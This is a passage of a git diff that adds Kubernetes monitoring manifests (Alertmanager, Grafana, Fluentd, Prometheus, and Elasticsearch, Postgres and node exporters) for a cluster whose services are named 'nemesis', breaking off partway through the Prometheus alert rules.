+ - "--config.file=/alertmanager/config.yml"
+ - "--storage.path=/alertmanager"
+ ports:
+ - name: alertmanager
+ containerPort: 9093
+ resources:
+ requests:
+ cpu: 500m
+ memory: 500M
+ limits:
+ cpu: 1
+ memory: 1Gi
+ volumeMounts:
+ - name: config-volume
+ mountPath: /etc/alertmanager
+ - name: templates-volume
+ mountPath: /etc/alertmanager-templates
+ - name: alertmanager
+ mountPath: /alertmanager
+ volumes:
+ - name: config-volume
+ configMap:
+ name: alertmanager-config
+ - name: templates-volume
+ configMap:
+ name: alertmanager-templates
+ - name: alertmanager
+ emptyDir: {}
+---
+kind: ConfigMap
+apiVersion: v1
+metadata:
+ name: alertmanager-config
+ namespace: monitoring
+data:
+ config.yml: |-
+ global:
+ templates:
+ - '/etc/alertmanager/*.tmpl'
+ route:
+ receiver: 'default'
+ group_by: ['alertname', 'priority']
+ group_wait: 30s
+ repeat_interval: 30m
+ routes:
+ - receiver: slack_alert
+ match:
+ severity: slack
+ group_wait: 30s
+ repeat_interval: 20m
+ receivers:
+ - name: 'default'
+ - name: slack_alert
+ slack_configs:
+ - api_url: $SLACK_WEB_HOOK
+ channel: "#$SLACK_ALERT_CHANNEL"
+ username: '{{ template "slack.default.username" . }}'
+ send_resolved: false
+ icon_url: https://avatars3.githubusercontent.com/u/3380462
+ color: '{{ if eq .Status "firing" }}danger{{ else }}good{{ end }}'
+ title: '{{ template "slack.default.title" . }}'
+ text: |-
+ {{ range .Alerts }}
+ *Alert:* {{ .Annotations.summary }} - `{{ .Labels.severity }}`
+ *Description:* {{ .Annotations.description }}
+ *Details:*
+ {{ range .Labels.SortedPairs }} • *{{ .Name }}:* `{{ .Value }}`
+ {{ end }}
+ {{ end }}
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ creationTimestamp: null
+ name: alertmanager-templates
+ namespace: monitoring
+data:
+ default.tmpl: |
+ {{ define "__alertmanager" }}AlertManager{{ end }}
+ {{ define "__alertmanagerURL" }}{{ .ExternalURL }}/#/alerts?receiver={{ .Receiver }}{{ end }}
+ {{ define "__subject" }}[{{ .Status | toUpper }}{{ if eq .Status "firing" }}:{{ .Alerts.Firing | len }}{{ end }}] {{ .GroupLabels.SortedPairs.Values | join " " }} {{ if gt (len .CommonLabels) (len .GroupLabels) }}({{ with .CommonLabels.Remove .GroupLabels.Names }}{{ .Values | join " " }}{{ end }}){{ end }}{{ end }}
+ {{ define "__description" }}{{ end }}
+ {{ define "__text_alert_list" }}{{ range . }}Labels:
+ {{ range .Labels.SortedPairs }} - {{ .Name }} = {{ .Value }}
+ {{ end }}Annotations:
+ {{ range .Annotations.SortedPairs }} - {{ .Name }} = {{ .Value }}
+ {{ end }}Source: {{ .GeneratorURL }}
+ {{ end }}{{ end }}
+ {{ define "slack.default.title" }}{{ template "__subject" . }}{{ end }}
+ {{ define "slack.default.username" }}{{ template "__alertmanager" . }}{{ end }}
+ {{ define "slack.default.fallback" }}{{ template "slack.default.title" . }} | {{ template "slack.default.titlelink" . }}{{ end }}
+ {{ define "slack.default.pretext" }}{{ end }}
+ {{ define "slack.default.titlelink" }}{{ template "__alertmanagerURL" . }}{{ end }}
+ {{ define "slack.default.iconemoji" }}{{ end }}
+ {{ define "slack.default.iconurl" }}{{ end }}
+ {{ define "slack.default.text" }}{{ end }}
+ {{ define "slack.default.footer" }}{{ end }}
+ {{ define "hipchat.default.from" }}{{ template "__alertmanager" . }}{{ end }}
+ {{ define "hipchat.default.message" }}{{ template "__subject" . }}{{ end }}
+ {{ define "pagerduty.default.description" }}{{ template "__subject" . }}{{ end }}
+ {{ define "pagerduty.default.client" }}{{ template "__alertmanager" . }}{{ end }}
+ {{ define "pagerduty.default.clientURL" }}{{ template "__alertmanagerURL" . }}{{ end }}
+ {{ define "pagerduty.default.instances" }}{{ template "__text_alert_list" . }}{{ end }}
+ {{ define "opsgenie.default.message" }}{{ template "__subject" . }}{{ end }}
+ {{ define "opsgenie.default.description" }}{{ .CommonAnnotations.SortedPairs.Values | join " " }}
+ {{ if gt (len .Alerts.Firing) 0 -}}
+ Alerts Firing:
+ {{ template "__text_alert_list" .Alerts.Firing }}
+ {{- end }}
+ {{ if gt (len .Alerts.Resolved) 0 -}}
+ Alerts Resolved:
+ {{ template "__text_alert_list" .Alerts.Resolved }}
+ {{- end }}
+ {{- end }}
+ {{ define "opsgenie.default.source" }}{{ template "__alertmanagerURL" . }}{{ end }}
+ {{ define "victorops.default.message" }}{{ template "__subject" . }} | {{ template "__alertmanagerURL" . }}{{ end }}
+ {{ define "victorops.default.from" }}{{ template "__alertmanager" . }}{{ end }}
+ {{ define "email.default.subject" }}{{ template "__subject" . }}{{ end }}
+ {{ define "email.default.html" }}
+
+
+
+
+
+
+ {{ template "__subject" . }}
+
+
+
+
+
+
+
+
+
+
+ {{ .Alerts | len }} alert{{ if gt (len .Alerts) 1 }}s{{ end }} for {{ range .GroupLabels.SortedPairs }}
+ {{ .Name }}={{ .Value }}
+ {{ end }}
+
+
+
+
+
+
+
+ View in {{ template "__alertmanager" . }}
+
+
+ {{ if gt (len .Alerts.Firing) 0 }}
+
+
+ [{{ .Alerts.Firing | len }}] Firing
+
+
+ {{ end }}
+ {{ range .Alerts.Firing }}
+
+
+ Labels
+ {{ range .Labels.SortedPairs }}{{ .Name }} = {{ .Value }} {{ end }}
+ {{ if gt (len .Annotations) 0 }}Annotations {{ end }}
+ {{ range .Annotations.SortedPairs }}{{ .Name }} = {{ .Value }} {{ end }}
+ Source
+
+
+ {{ end }}
+ {{ if gt (len .Alerts.Resolved) 0 }}
+ {{ if gt (len .Alerts.Firing) 0 }}
+
+
+
+
+
+
+
+ {{ end }}
+
+
+ [{{ .Alerts.Resolved | len }}] Resolved
+
+
+ {{ end }}
+ {{ range .Alerts.Resolved }}
+
+
+ Labels
+ {{ range .Labels.SortedPairs }}{{ .Name }} = {{ .Value }} {{ end }}
+ {{ if gt (len .Annotations) 0 }}Annotations {{ end }}
+ {{ range .Annotations.SortedPairs }}{{ .Name }} = {{ .Value }} {{ end }}
+ Source
+
+
+ {{ end }}
+
+
+
+
+
+
+
+
+
+
+
+ {{ end }}
+ {{ define "pushover.default.title" }}{{ template "__subject" . }}{{ end }}
+ {{ define "pushover.default.message" }}{{ .CommonAnnotations.SortedPairs.Values | join " " }}
+ {{ if gt (len .Alerts.Firing) 0 }}
+ Alerts Firing:
+ {{ template "__text_alert_list" .Alerts.Firing }}
+ {{ end }}
+ {{ if gt (len .Alerts.Resolved) 0 }}
+ Alerts Resolved:
+ {{ template "__text_alert_list" .Alerts.Resolved }}
+ {{ end }}
+ {{ end }}
+ {{ define "pushover.default.url" }}{{ template "__alertmanagerURL" . }}{{ end }}
+ slack.tmpl: |
+ {{ define "slack.devops.text" }}
+ {{range .Alerts}}{{.Annotations.DESCRIPTION}}
+ {{end}}
+ {{ end }}
diff --git a/kubernetes/monitoring/elasticsearch-exporter.yaml b/kubernetes/monitoring/elasticsearch-exporter.yaml
new file mode 100644
index 0000000..045a0c3
--- /dev/null
+++ b/kubernetes/monitoring/elasticsearch-exporter.yaml
@@ -0,0 +1,87 @@
+# ref - https://github.com/epodegrid/kubegenie-dataset/blob/fbdf295014152a22d1feb146a8a889e477c4392c/E/elasticsearch-exporter-XHCu0jlpFMlCN/elasticsearch-exporter.yaml
+
+# NOTE: we're using the "default" namespace instead of the "monitoring" namespace
+# here because the Elastic server password is stored in that namespace
+
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: elasticsearch-exporter
+ name: elasticsearch-exporter
+spec:
+ type: NodePort
+ ports:
+ - name: "9108"
+ port: 9108
+ targetPort: 9108
+ nodePort: 31108
+ selector:
+ app: elasticsearch-exporter
+status:
+ loadBalancer: {}
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: elasticsearch-exporter
+ namespace: default
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: elasticsearch-exporter
+ template:
+ metadata:
+ labels:
+ app: elasticsearch-exporter
+ spec:
+ serviceAccountName: default
+ restartPolicy: Always
+ securityContext:
+ runAsNonRoot: true
+ runAsUser: 1000
+ containers:
+ - env:
+ - name: ES_USERNAME
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: username
+ - name: ES_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: password
+ image: quay.io/prometheuscommunity/elasticsearch-exporter:v1.5.0
+ name: elasticsearch-exporter
+ command:
+ - elasticsearch_exporter
+ - --es.uri=http://nemesis-es-internal-http:9200
+ # - --es.ssl-skip-verify
+ - --es.all
+ - --es.cluster_settings
+ - --es.indices
+ - --es.indices_settings
+ - --es.shards
+ - --es.snapshots
+ - --es.timeout=30s
+ - --web.listen-address=:9108
+ - --web.telemetry-path=/metrics
+ ports:
+ - containerPort: 9108
+ name: http
+ livenessProbe:
+ httpGet:
+ path: /healthz
+ port: http
+ initialDelaySeconds: 5
+ timeoutSeconds: 5
+ periodSeconds: 5
+ readinessProbe:
+ httpGet:
+ path: /healthz
+ port: http
+ initialDelaySeconds: 1
+ timeoutSeconds: 5
+ periodSeconds: 5
diff --git a/kubernetes/monitoring/fluentd.yaml b/kubernetes/monitoring/fluentd.yaml
new file mode 100644
index 0000000..029e7a8
--- /dev/null
+++ b/kubernetes/monitoring/fluentd.yaml
@@ -0,0 +1,141 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+ name: fluentd
+ namespace: kube-system
+ labels:
+ app: fluentd
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ name: fluentd
+ labels:
+ app: fluentd
+rules:
+ - apiGroups:
+ - ""
+ resources:
+ - pods
+ - namespaces
+ verbs:
+ - get
+ - list
+ - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+ name: fluentd
+roleRef:
+ kind: ClusterRole
+ name: fluentd
+ apiGroup: rbac.authorization.k8s.io
+subjects:
+ - kind: ServiceAccount
+ name: fluentd
+ namespace: kube-system
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+ name: fluentd
+ namespace: kube-system
+ labels:
+ app: fluentd
+spec:
+ selector:
+ matchLabels:
+ app: fluentd
+ template:
+ metadata:
+ labels:
+ app: fluentd
+ spec:
+ serviceAccount: fluentd
+ serviceAccountName: fluentd
+ tolerations:
+ - key: node-role.kubernetes.io/master
+ effect: NoSchedule
+ initContainers:
+ - name: fluentd-elasticsearch-waiter
+ image: alpine:3.17.0
+ command: ["/bin/sh", "-c"]
+ args:
+ - |
+ apk --update add curl
+
+ echo "Waiting for Elasticsearch to come online..."
+
+ COUNTER=1
+ until curl "http://${FLUENT_ELASTICSEARCH_HOST}/_cluster/health" \
+ --silent --insecure --max-time 5 \
+ --user "${FLUENT_ELASTICSEARCH_USER}:${FLUENT_ELASTICSEARCH_PASSWORD}" \
+ -o /dev/null;
+ do
+ echo "Retry ${COUNTER}: Waiting for Elasticsearch at ${FLUENT_ELASTICSEARCH_HOST}..."
+ COUNTER=`expr ${COUNTER} + 1`
+ sleep 5
+ done
+
+ echo "Elasticsearch available."
+ env:
+ - name: FLUENT_ELASTICSEARCH_HOST
+ value: "nemesis-es-http.default.svc.cluster.local:9200"
+ - name: FLUENT_ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: fluentd-creds
+ key: elasticsearch_username
+ - name: FLUENT_ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: fluentd-creds
+ key: elasticsearch_password
+ containers:
+ - name: fluentd
+ image: fluent/fluentd-kubernetes-daemonset:v1.15.3-debian-elasticsearch7-1.0
+ env:
+ - name: FLUENT_ELASTICSEARCH_HOST
+ value: "nemesis-es-http.default.svc.cluster.local"
+ - name: FLUENT_ELASTICSEARCH_PORT
+ value: "9200"
+ - name: FLUENT_ELASTICSEARCH_SCHEME
+ value: "http"
+ - name: FLUENTD_SYSTEMD_CONF
+ value: disable
+ - name: FLUENT_ELASTICSEARCH_SSL_VERIFY
+ value: "false"
+ - name: FLUENT_ELASTICSEARCH_LOGSTASH_PREFIX # Prefix of the Elastic index
+ value: fluentd
+ - name: FLUENT_ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: fluentd-creds
+ key: elasticsearch_username
+ - name: FLUENT_ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: fluentd-creds
+ key: elasticsearch_password
+
+ resources:
+ limits:
+ memory: 512Mi
+ requests:
+ cpu: 100m
+ memory: 200Mi
+ volumeMounts:
+ - name: varlog
+ mountPath: /var/log
+ - name: varlibdockercontainers
+ mountPath: /var/lib/docker/containers
+ readOnly: true
+ terminationGracePeriodSeconds: 30
+ volumes:
+ - name: varlog
+ hostPath:
+ path: /var/log
+ - name: varlibdockercontainers
+ hostPath:
+ path: /var/lib/docker/containers
diff --git a/kubernetes/monitoring/grafana.yaml b/kubernetes/monitoring/grafana.yaml
new file mode 100644
index 0000000..61c5631
--- /dev/null
+++ b/kubernetes/monitoring/grafana.yaml
@@ -0,0 +1,120 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: grafana
+ namespace: monitoring
+ annotations:
+ prometheus.io/scrape: "true"
+ prometheus.io/port: "3000"
+spec:
+ selector:
+ app: grafana
+ type: NodePort
+ ports:
+ - port: 3000
+ targetPort: 3000
+ nodePort: 32002
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: grafana
+ namespace: monitoring
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: grafana
+ template:
+ metadata:
+ name: grafana
+ labels:
+ app: grafana
+ spec:
+ containers:
+ - name: grafana
+ image: grafana/grafana:9.5.2
+ ports:
+ - name: grafana
+ containerPort: 3000
+ env:
+ - name: GF_SECURITY_ADMIN_USER
+ valueFrom:
+ secretKeyRef:
+ name: grafana-creds
+ key: username
+ - name: GF_SECURITY_ADMIN_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: grafana-creds
+ key: password
+ - name: GF_SERVER_ROOT_URL # used to serve through ingress-nginx
+ value: "%(protocol)s://%(domain)s:%(http_port)s/grafana/"
+ - name: GF_SERVER_SERVE_FROM_SUB_PATH
+ value: "true"
+ volumeMounts:
+ - mountPath: /var/lib/grafana
+ name: grafana-storage
+ - mountPath: /etc/grafana/provisioning/datasources
+ name: grafana-datasources
+ readOnly: false
+ - mountPath: /etc/grafana/provisioning/dashboards
+ name: grafana-dashboards-config
+ readOnly: false
+ - mountPath: /var/lib/grafana/dashboards
+ name: grafana-dashboards-def
+ readOnly: false
+ volumes:
+ - name: grafana-storage
+ emptyDir: {}
+ - name: grafana-datasources
+ configMap:
+ defaultMode: 420
+ name: grafana-datasources
+ - name: grafana-dashboards-config
+ configMap:
+ defaultMode: 420
+ name: grafana-dashboards-config
+ - name: grafana-dashboards-def
+ configMap:
+ defaultMode: 420
+ name: grafana-dashboards-def
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: grafana-datasources
+ namespace: monitoring
+data:
+ prometheus.yaml: |-
+ {
+ "apiVersion": 1,
+ "datasources": [
+ {
+ "access":"proxy",
+ "editable": true,
+ "name": "prometheus",
+ "orgId": 1,
+ "type": "prometheus",
+ "url": "http://prometheus-service.monitoring.svc:9090",
+ "version": 1
+ }
+ ]
+ }
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: grafana-dashboards-config
+ namespace: monitoring
+data:
+ dashboards.yaml: |-
+ apiVersion: 1
+ providers:
+ - name: 'Metrics'
+ updateIntervalSeconds: 10
+ allowUiUpdates: true
+ options:
+ path: /var/lib/grafana/dashboards
+ foldersFromFilesStructure: true
+ type: file
diff --git a/kubernetes/monitoring/ingress.yaml b/kubernetes/monitoring/ingress.yaml
new file mode 100644
index 0000000..2be5447
--- /dev/null
+++ b/kubernetes/monitoring/ingress.yaml
@@ -0,0 +1,38 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: monitoring-ingress
+ namespace: monitoring
+ annotations:
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ nginx.ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/rewrite-target: /$2
+spec:
+ ingressClassName: nginx
+ rules:
+ - http:
+ # host: monitoring.localhost
+ paths:
+ - path: /grafana(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: grafana
+ port:
+ number: 3000
+ - path: /alertmanager(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: alertmanager
+ port:
+ number: 9093
+ - path: /prometheus(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: prometheus-service
+ port:
+ number: 9090
\ No newline at end of file
diff --git a/kubernetes/monitoring/kube-state-metrics.yaml b/kubernetes/monitoring/kube-state-metrics.yaml
new file mode 100644
index 0000000..4686ac5
--- /dev/null
+++ b/kubernetes/monitoring/kube-state-metrics.yaml
@@ -0,0 +1,230 @@
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: kube-state-metrics
+ app.kubernetes.io/version: 2.7.0
+ name: kube-state-metrics
+ namespace: kube-system
+spec:
+ clusterIP: None
+ ports:
+ - name: http-metrics
+ port: 8080
+ targetPort: http-metrics
+ - name: telemetry
+ port: 8081
+ targetPort: telemetry
+ selector:
+ app.kubernetes.io/name: kube-state-metrics
+---
+apiVersion: v1
+automountServiceAccountToken: false
+kind: ServiceAccount
+metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: kube-state-metrics
+ app.kubernetes.io/version: 2.7.0
+ name: kube-state-metrics
+ namespace: kube-system
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: kube-state-metrics
+ app.kubernetes.io/version: 2.7.0
+ name: kube-state-metrics
+ namespace: kube-system
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app.kubernetes.io/name: kube-state-metrics
+ template:
+ metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: kube-state-metrics
+ app.kubernetes.io/version: 2.7.0
+ spec:
+ automountServiceAccountToken: true
+ containers:
+ - image: registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.7.0
+ livenessProbe:
+ httpGet:
+ path: /healthz
+ port: 8080
+ initialDelaySeconds: 5
+ timeoutSeconds: 5
+ name: kube-state-metrics
+ ports:
+ - containerPort: 8080
+ name: http-metrics
+ - containerPort: 8081
+ name: telemetry
+ readinessProbe:
+ httpGet:
+ path: /
+ port: 8081
+ initialDelaySeconds: 5
+ timeoutSeconds: 5
+ securityContext:
+ allowPrivilegeEscalation: false
+ capabilities:
+ drop:
+ - ALL
+ readOnlyRootFilesystem: true
+ runAsUser: 65534
+ nodeSelector:
+ kubernetes.io/os: linux
+ serviceAccountName: kube-state-metrics
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: kube-state-metrics
+ app.kubernetes.io/version: 2.7.0
+ name: kube-state-metrics
+rules:
+ - apiGroups:
+ - ""
+ resources:
+ - configmaps
+ - secrets
+ - nodes
+ - pods
+ - services
+ - serviceaccounts
+ - resourcequotas
+ - replicationcontrollers
+ - limitranges
+ - persistentvolumeclaims
+ - persistentvolumes
+ - namespaces
+ - endpoints
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - apps
+ resources:
+ - statefulsets
+ - daemonsets
+ - deployments
+ - replicasets
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - batch
+ resources:
+ - cronjobs
+ - jobs
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - autoscaling
+ resources:
+ - horizontalpodautoscalers
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - authentication.k8s.io
+ resources:
+ - tokenreviews
+ verbs:
+ - create
+ - apiGroups:
+ - authorization.k8s.io
+ resources:
+ - subjectaccessreviews
+ verbs:
+ - create
+ - apiGroups:
+ - policy
+ resources:
+ - poddisruptionbudgets
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - certificates.k8s.io
+ resources:
+ - certificatesigningrequests
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - discovery.k8s.io
+ resources:
+ - endpointslices
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - storage.k8s.io
+ resources:
+ - storageclasses
+ - volumeattachments
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - admissionregistration.k8s.io
+ resources:
+ - mutatingwebhookconfigurations
+ - validatingwebhookconfigurations
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - networking.k8s.io
+ resources:
+ - networkpolicies
+ - ingressclasses
+ - ingresses
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - coordination.k8s.io
+ resources:
+ - leases
+ verbs:
+ - list
+ - watch
+ - apiGroups:
+ - rbac.authorization.k8s.io
+ resources:
+ - clusterrolebindings
+ - clusterroles
+ - rolebindings
+ - roles
+ verbs:
+ - list
+ - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: kube-state-metrics
+ app.kubernetes.io/version: 2.7.0
+ name: kube-state-metrics
+roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: ClusterRole
+ name: kube-state-metrics
+subjects:
+ - kind: ServiceAccount
+ name: kube-state-metrics
+ namespace: kube-system
diff --git a/kubernetes/monitoring/kubernetes-node-exporter.yaml b/kubernetes/monitoring/kubernetes-node-exporter.yaml
new file mode 100644
index 0000000..031211f
--- /dev/null
+++ b/kubernetes/monitoring/kubernetes-node-exporter.yaml
@@ -0,0 +1,73 @@
+kind: Service
+apiVersion: v1
+metadata:
+ name: node-exporter
+ namespace: monitoring
+ annotations:
+ prometheus.io/scrape: "true"
+ prometheus.io/port: "9100"
+spec:
+ selector:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ ports:
+ - name: node-exporter
+ protocol: TCP
+ port: 9100
+ targetPort: 9100
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ name: node-exporter
+ namespace: monitoring
+spec:
+ selector:
+ matchLabels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ template:
+ metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ spec:
+ containers:
+ - args:
+ - --path.sysfs=/host/sys
+ - --path.rootfs=/host/root
+ - --no-collector.wifi
+ - --no-collector.hwmon
+ - --collector.filesystem.ignored-mount-points=^/(dev|proc|sys|var/lib/docker/.+|var/lib/kubelet/pods/.+)($|/)
+ - --collector.netclass.ignored-devices=^(veth.*)$
+ name: node-exporter
+ image: prom/node-exporter:v1.5.0
+ ports:
+ - containerPort: 9100
+ protocol: TCP
+ resources:
+ limits:
+ cpu: 250m
+ memory: 180Mi
+ requests:
+ cpu: 102m
+ memory: 180Mi
+ volumeMounts:
+ - mountPath: /host/sys
+ mountPropagation: HostToContainer
+ name: sys
+ readOnly: true
+ - mountPath: /host/root
+ mountPropagation: HostToContainer
+ name: root
+ readOnly: true
+ volumes:
+ - hostPath:
+ path: /sys
+ name: sys
+ - hostPath:
+ path: /
+ name: root
diff --git a/kubernetes/monitoring/kubernetes-node-exporter.yaml.docker_for_windows b/kubernetes/monitoring/kubernetes-node-exporter.yaml.docker_for_windows
new file mode 100644
index 0000000..38b0ba6
--- /dev/null
+++ b/kubernetes/monitoring/kubernetes-node-exporter.yaml.docker_for_windows
@@ -0,0 +1,73 @@
+kind: Service
+apiVersion: v1
+metadata:
+ name: node-exporter
+ namespace: monitoring
+ annotations:
+ prometheus.io/scrape: "true"
+ prometheus.io/port: "9100"
+spec:
+ selector:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ ports:
+ - name: node-exporter
+ protocol: TCP
+ port: 9100
+ targetPort: 9100
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ name: node-exporter
+ namespace: monitoring
+spec:
+ selector:
+ matchLabels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ template:
+ metadata:
+ labels:
+ app.kubernetes.io/component: exporter
+ app.kubernetes.io/name: node-exporter
+ spec:
+ containers:
+ - args:
+ # - --path.sysfs=/host/sys
+ # - --path.rootfs=/host/root
+ - --no-collector.wifi
+ - --no-collector.hwmon
+ - --collector.filesystem.ignored-mount-points=^/(dev|proc|sys|var/lib/docker/.+|var/lib/kubelet/pods/.+)($|/)
+ - --collector.netclass.ignored-devices=^(veth.*)$
+ name: node-exporter
+ image: prom/node-exporter:v1.5.0
+ ports:
+ - containerPort: 9100
+ protocol: TCP
+ resources:
+ limits:
+ cpu: 250m
+ memory: 180Mi
+ requests:
+ cpu: 102m
+ memory: 180Mi
+ # volumeMounts:
+ # - mountPath: /host/sys
+ # mountPropagation: HostToContainer
+ # name: sys
+ # readOnly: true
+ # - mountPath: /host/root
+ # mountPropagation: HostToContainer
+ # name: root
+ # readOnly: true
+ volumes:
+ - hostPath:
+ path: /sys
+ name: sys
+ - hostPath:
+ path: /
+ name: root
diff --git a/kubernetes/monitoring/postgres-exporter.yaml b/kubernetes/monitoring/postgres-exporter.yaml
new file mode 100644
index 0000000..0cccef7
--- /dev/null
+++ b/kubernetes/monitoring/postgres-exporter.yaml
@@ -0,0 +1,76 @@
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: postgres-exporter
+ name: postgres-exporter
+ namespace: default
+spec:
+ type: NodePort
+ ports:
+ - name: "9187"
+ port: 9187
+ targetPort: 9187
+ nodePort: 31119
+ selector:
+ app: postgres-exporter
+status:
+ loadBalancer: {}
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: postgres-exporter
+ namespace: default
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: postgres-exporter
+ template:
+ metadata:
+ labels:
+ app: postgres-exporter
+ spec:
+ serviceAccountName: default
+ restartPolicy: Always
+ securityContext:
+ runAsNonRoot: true
+ runAsUser: 1000
+ containers:
+ - env:
+ - name: DATA_SOURCE_URI
+ value: postgres?sslmode=disable
+ - name: DATA_SOURCE_USER
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-user
+ - name: DATA_SOURCE_PASS
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-password
+ image: prometheuscommunity/postgres-exporter:v0.11.1
+ name: postgres-exporter
+ command:
+ - /bin/postgres_exporter
+ - --web.listen-address=:9187
+ - --web.telemetry-path=/metrics
+ ports:
+ - containerPort: 9187
+ name: http
+ livenessProbe:
+ httpGet:
+ path: /healthz
+ port: http
+ initialDelaySeconds: 5
+ timeoutSeconds: 5
+ periodSeconds: 5
+ readinessProbe:
+ httpGet:
+ path: /healthz
+ port: http
+ initialDelaySeconds: 1
+ timeoutSeconds: 5
+ periodSeconds: 5
diff --git a/kubernetes/monitoring/prometheus.yaml b/kubernetes/monitoring/prometheus.yaml
new file mode 100644
index 0000000..9c35a77
--- /dev/null
+++ b/kubernetes/monitoring/prometheus.yaml
@@ -0,0 +1,750 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ name: prometheus
+rules:
+ - apiGroups: [""]
+ resources:
+ - nodes
+ - nodes/proxy
+ - services
+ - endpoints
+ - pods
+ verbs: ["get", "list", "watch"]
+ - apiGroups:
+ - extensions
+ resources:
+ - ingresses
+ verbs: ["get", "list", "watch"]
+ - nonResourceURLs: ["/metrics"]
+ verbs: ["get"]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+ name: prometheus
+roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: ClusterRole
+ name: prometheus
+subjects:
+ - kind: ServiceAccount
+ name: default
+ namespace: monitoring
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: prometheus-server-conf
+ labels:
+ name: prometheus-server-conf
+ namespace: monitoring
+data:
+ prometheus.rules: |-
+ groups:
+ # ref- https://awesome-prometheus-alerts.grep.to/rules#prometheus-self-monitoring
+ - name: Prometheus alerts
+ rules:
+ - alert: PrometheusJobMissing
+ expr: absent(up{job="prometheus"})
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus job missing (instance {{ $labels.instance }})
+ description: "A Prometheus job has disappeared\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: InstanceDown
+ expr: up == 0
+ for: 5m
+ labels:
+ severity: critical
+ annotations:
+ summary: "Instance {{ $labels.instance }} down"
+ description: "{{ $labels.instance }} of job {{ $labels.job }} has been down for more than 5 minutes."
+
+ - alert: PrometheusConfigurationReloadFailure
+ expr: prometheus_config_last_reload_successful != 1
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus configuration reload failure (instance {{ $labels.instance }})
+ description: "Prometheus configuration reload error\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusTooManyRestarts
+ expr: changes(process_start_time_seconds{job=~"prometheus|pushgateway|alertmanager"}[15m]) > 2
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus too many restarts (instance {{ $labels.instance }})
